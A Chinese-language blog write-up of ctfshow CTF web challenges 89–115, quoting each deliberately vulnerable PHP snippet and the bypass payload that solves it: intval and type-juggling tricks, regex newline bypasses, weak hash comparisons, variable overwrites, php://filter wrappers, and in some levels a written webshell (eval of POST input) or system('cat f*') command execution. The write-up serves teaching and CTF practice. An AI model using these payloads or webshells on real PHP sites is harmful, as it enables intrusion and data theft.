ctfshow PHP特性(89-115)【学习记录】

web 89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
    
    
        die("no no no!");
    }
    if(intval($num)){
    
    
        echo $flag;
    }
}

intval() 函数用于获取变量的整数值。

但是要绕过正则,也就是不能匹配数字。

可以使用数组绕过:

?num[]=1

web 90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==="4476"){
    
    
        die("no no no!");     // num不能等于4476
    }
    if(intval($num,0)===4476){
    
       
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
} 

intval()函数语法:

int intval ( mixed $var [, int $base = 10 ] ):
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

例如:

intval(42);                      // 42
intval(4.2);                     // 4
intval('42');                    // 42
intval('+42');                   // 42
intval('-42');                   // -42
intval(042);                     // 34   8进制
intval('042');                   // 42
intval(1e10);                    // 1410065408
intval('1e10');                  // 1
intval(0x1A);                    // 26   16进制

回到题目:

 if($num==="4476"){
    
    
        die("no no no!");  // 可以使用4476.0绕过

payload:

?num=4476.0
?num=0x117c  // 16进制
?num=010574  // 8进制

web 91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
// 符合第一个正则,以php开头,存在^和$的情况下使用修饰符m
if(preg_match('/^php$/im', $a)){
    
        
    if(preg_match('/^php$/i', $a)){
    
      // 不符合第二个正则,输出flag
        echo 'hacker';
    }
    else{
    
    
        echo $flag;
    }
}
else{
    
    
    echo 'nonononono';
} 

题目要绕过两个正则。

常见修饰符:

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

g
全局匹配,查找所有匹配项

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 


细品m的用法,题目刚好满足,所以要满足第一个正则,可以构造:

?cmd=xxx%0aphp   

//%0a即换行符,m在遇到上述条件时,先匹配换行符前的字符,也就是xxx,在匹配%0a后的字符,也就是php满足了第一条正则的条件。
//在第二条正则中,只匹配一行的字符,即匹配到了xxx,并不满足正则条件,成功绕过。

m:(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配

web 92

和第90关不同的是,90属于强类型比较( === ) ,92属于弱类型( == )。

可以使用8进制,16进制绕过,小数师傅们的博客说可以绕过,可是我这里却不行,所以我不是师傅0.0。

在若比较中(==),4476a与4476相等。

简单说一下:

字母在进行数值比较时,会被当做0
字母与数字的组合,以前面的为准:
即:
4476a=4476 //true
a4476=4476 //false
a4476=0    //true

但是在intval函数中还存在一个特性:

intval在处理数据时,只读取字母前面的数据

e这个字母,在PHP中会被当作科学计数法。

例如,我们构造4476e123

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
          // 4476e123=4476×10^123 显然不等于4476,成功绕过
        die("no no no!");
    }
    if(intval($num,0)==4476){
    
     //intval在处理数据时,只读取字母前面的数据,即4476,ok
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
}

web 93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
    
     //过滤了字母,不能使用科学计数法绕过
        die("no no no!");
    }
    if(intval($num,0)==4476){
    
    
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
}

使用8进制。

web 94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==="4476"){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
    
     // 不能匹配到字母
        die("no no no!");
    }
    // strpos() 函数查找字符串在另一字符串中第一次出现的位置。
    if(!strpos($num, "0")){
    
      // 0不能出现在第一位,但是我总是感觉怪怪的
        die("no no no!");
    }
    if(intval($num,0)===4476){
    
    
        echo $flag;
    }
}

payload:

?num= 010574 // 前面加个空格
?num=+010574 
?num=%20010574 //%20即空格
?num=%0a010574 
?num=4476.0  // 这里小数可以使用,难道是因为强弱比较的关系??

web 95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
    
    
        die("no no no!!");
    }
    if(!strpos($num, "0")){
    
    
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
    
    
        echo $flag;
    }
}

跟上一关差不多,第一次比较换成了弱类型,小数用不了了。

web 96


highlight_file(__FILE__);

if(isset($_GET['u'])){
    
    
    if($_GET['u']=='flag.php'){
    
    
        die("no no no");
    }else{
    
    
        highlight_file($_GET['u']);
    }


} 

考点应该是highlight_file函数,随便传入一个值,会报错,显示出路径:
在这里插入图片描述
知道了具体路径,构造payload:

?u=/var/www/html/flag.php
?u=./flag.php // ./表示上一层目录

web 97


include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
    
    
if ($_POST['a'] != $_POST['b'])  // 这里属于若碰撞
if (md5($_POST['a']) === md5($_POST['b']))  // 强比较
echo $flag;
else
print 'Wrong.';
}
?> 

md5强类型比较,可以使用数组绕过,md5处理数组时会返回null:

a[]=1&b[]=2

web 98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

这道题看着有点迷,问了问师傅们,明白了

第一个考点:三元比较 php三元运算符与if的详解

三元运算符语法:条件 ? 结果1 : 结果2 说明:问号前面的位置是判断的条件,如果满足条件时结果1,不满足时结果2。

第二个考点:&引用 PHP引用(&)使用详解

我们逐条分析一下:

$_GET?$_GET=&$_POST:'flag';
# 如果有GET传参,就变成POST传参
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
# 这两句不是特别重要,其实是我解释不清楚。。。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
# 如果GET传参 HTTP_FLAG=flag,就执行highlight_file(flag),否则执行highlight_file(__FILE__)

然后还是迷迷糊糊,payload:

// GET传参
?HTTP_FLAG=flag
// POST传参
HTTP_FLAG=flag

web 99

highlight_file(__FILE__);
$allow = array();  // 声明一个数组
// 循环 
for ($i=36; $i < 0x36d; $i++) {
    
      
	// 在数组末尾添加随机数
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    
    
	//file_put_contents() 函数把一个字符串写入文件中。
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

简单审计一下代码,这里考点是in_array()函数:

in_array() 函数搜索数组中是否存在指定的值。

语法:

bool in_array ( mixed $needle , array $haystack [, bool $strict =
FALSE ] )

这里有三个参数:

参数 描述
needle 必需。规定要在数组搜索的值。
haystack 必需。规定要搜索的数组。
strict 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。

题目中:

in_array($_GET['n'], $allow)
// 判断n是否在数组allow中,不进行类型的比较。

所以:

n=1.php  //会被当做666进行判断,存在于数组中
// 写入1.php的内容为:
content=<?php eval($_POST[ctfshow])?>
// 因为每次添加随机数都有存在1的可能,所以1的概率最大

在这里插入图片描述

然后访问1.php页面,使用蚁剑连接。

web 100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
// is_numeric() 函数用于检测变量是否为数字或数字字符串。
// v1=1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
// v0=1,这里是赋值,if满足
if($v0){
    
    
    if(!preg_match("/\;/", $v2)){
    
    
        if(preg_match("/\;/", $v3)){
    
    
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

考点 逻辑运算符的优先级
给个链接 运算符优先级

payload:

?v1=1&v2=var_dump($ctfshow)&v3=; 
?v1=21&v2=var_dump($ctfshow)/*&v3=*/; // v3注释掉

web 101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
    
    
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
    
    
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

前一关应该属于这一关的非预期解。

考察的为 ReflectionClass 然后我也不知道这是个啥,问问度娘。
md 看不懂,后面慢慢看吧。
payload:

?v1=1&v2=echo new ReflectionClass&v3=;

web 102-103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    
    
    $s = substr($v2,2); // 前两位截断,从第三位开始
    $str = call_user_func($v1,$s); // $s的值返回给v1
    echo $str;
    file_put_contents($v3,$str);
}
else{
    
    
    die('hacker');
}


?> 

新知识点:call_user_func

把第一个参数作为回调函数调用

说明:

call_user_func ( callable $callback , mixed $parameter = ? , mixed $… = ? ) : mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

这道题的逻辑整理一下,v2从第三位开始的值–> v1 ;v2是数字回调的值输入到v3,那么问题来了,v3是个什么东西,记得前面做过一道题,1.php==1,所以v3可以等于1.php,然后将v2的值写入1.php,如果是一句木马,写入1.php,再访问1.php就好了,那么问题又来了,木马命令怎么能是数字呢?这里用到php:/ /filter/write=convert.base64-decode/resource伪协议,使用base64编码,但是这也不是数字啊,这里不要忘了POST v1,如果说v1传入一种密码算法,使得base64编码的命令能和数字相互转换,不就可以了,所以,现在的关键是什么命令经过base64编码,再经过某种加密能完全变成数字。我也不知道,问问师傅们怎么解决的。
这个逻辑确实有点绕,好好理解一下。

最后总结一下:

1.v3=php:/ /filter/write=convert.base64-decode/resource=1.php 使用base64写一个1.php文件
2.找到一个命令,经过base64和某种加密后能变成数字,写入1.php
3.访问1.php,POST v1=解密算法(函数)
4.成功

符合条件的命令:

<?=`cat *`;
经过base64 : PD89YGNhdCAqYDs=
经过16进制:5044383959474e6864434171594473 // 注意去掉base64末尾的=

所以最终的payload:

//GET
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php   //v2前要补两个数字,e被认为是科学计数法,可以绕过
//POST
v1=hex2bin
访问1.php,查看源码

web 104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
    
    
        echo $flag;
    }
}



?> 

sha1弱类型比较。

payload:

10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729

经过sha1加密后都是科学科学计数法的形式,且值为0
数组应该也能绕过

web 105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
// foreach 数组循环
foreach($_GET as $key => $value){
    
     
    if($key==='error'){
    
      // 键名不能是error
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    
    
    if($value==='flag'){
    
      // 键值不能是flag
        die("what are you doing?!");
    }
    $$key=$$value;   // 最关键的地方,变量覆盖
}
if(!($_POST['flag']==$flag)){
    
    
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?> 

先看看什么条件才能获得flag,这里:

if(!($_POST['flag']==$flag)){
    
    
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

我们要输出的是$flag变量。

整理一下逻辑:

$_GET传入的参数作为键名不能是error --> 键名为suces,键值为flag
$_POST传入的参数的值作为键值不能是flag -->键值为suces,键名为error
$$key = $$value --> $key=suces $$key=$key=flag $value = error $$value=$error $error=flag 输出error
只有三个变量$error $suces $flag

所以payload:

?suces=flag GET
error=suces POST

web 106

=Web 104

web 107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    
    
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
    
    
           echo $flag;
       }

}



?> 

parse_str() 函数把查询字符串解析到变量中。

语法:

parse_str(string,array)

参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

parse_str大致意思就是可以给变量多个值

payload:

GET: ?v3=240610708 // 经过md5加密为0e形式
POST: v1=flag=0   // v1的值解析到v2中,即0和flag,0满足条件

web 108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
// 匹配大小写字母一次或多次
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    
     
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    
     //strrev() 函数反转字符串。
    echo $flag;
}

?> 

ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的。

ereg函数截断漏洞,不多说了,一查一大堆

payload:

?c=a%00778   //0x36d=877

web 109


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
    
    
            eval("echo new $v1($v2());");
    }

}

?> 

参考链接:异常处理

payload:

?v1=Exception&v2=system("cat f*")  //Exception(system('cmd')) 执行命令

web 110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
    
    
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
    
    
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?> 

109的升级版,可以看到没有过滤字母,所以我们可以使用一些函数:

payload:

?v1=FilesystemIterator&v2=getcwd
// FilesystemIterator 获取指定目录下的所有文件
// getcwd()函数 获取当前工作目录 返回当前工作目录

web 111


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    
    
    eval("$$v1 = &$$v2;");  // 变量覆盖
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
    
    
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
    
    
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
    
    
            getFlag($v1,$v2);
    }
    

    


}

?> 

这里变量定义在函数里面,所以使用全局变量

payload:

?v1=ctfshow&v2=GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

将$GLOBALS传给$v2,再赋值给$v1,实现var_dump($GOBALS)的操作

web 112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    
    
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
    
    
        die("hacker!");
    }else{
    
    
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    
       // is_file() 函数检查指定的文件名是否是正常的文件。
    highlight_file(filter($file));
}else{
    
    
    echo "hacker!";
} 

注意上面的正则,基本上是过滤了伪协议的内容,但是没有过滤filter,可以使用未被过滤的伪协议绕过is_file

payload:

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web 113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    
    
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
    
    
        die('hacker!');
    }else{
    
    
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    
    
    highlight_file(filter($file));
}else{
    
    
    echo "hacker!";
}

当然可以使用:

compress.zlib://flag.php

但是这道题的考点不是这个…

师傅们考查的是

/proc/self/root

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入
ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.。

payload:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web 114

payload:

?file=php://filter/resource=flag.php
伪协议直接读取,没什么好说的

web 115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    
    
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    
    
    if($num=='36'){
    
    
        echo $flag;
    }else{
    
    
        echo "hacker!!";
    }
}else{
    
    
    echo "hacker!!!";
}

很多判断在一起,分析一下:

1.num必须是数字  // is_numeric($num)
2.num不能等于16  // $num!=='36'
3.经过过滤后num等于36 // filter($num)=='36')
4.删除num前后的空白符,空格,换行这些后还不能等于36 //trim($num)!=='36'

参考了其他师傅:

is_numeric()for ($i=0; $i <128 ; $i++) {
    
     
    $x=chr($i).'1';
   if(is_numeric($x)==true){
    
    
        echo urlencode(chr($i))."\n";
   }
}
输出:%09%0A、 %0B、 %0C、 %0D、 +%2B、 -.(点)、
trim()for ($i=0; $i <=128 ; $i++) {
    
     
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
    
    
        echo urlencode(chr($i))."\n";
   }
}
输出:%0C、%2B(+号)、-.(点)、0123456789

在除去过滤掉的。只剩下%0c ,换页符。所以
payload:

?num=%0c36

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/113832019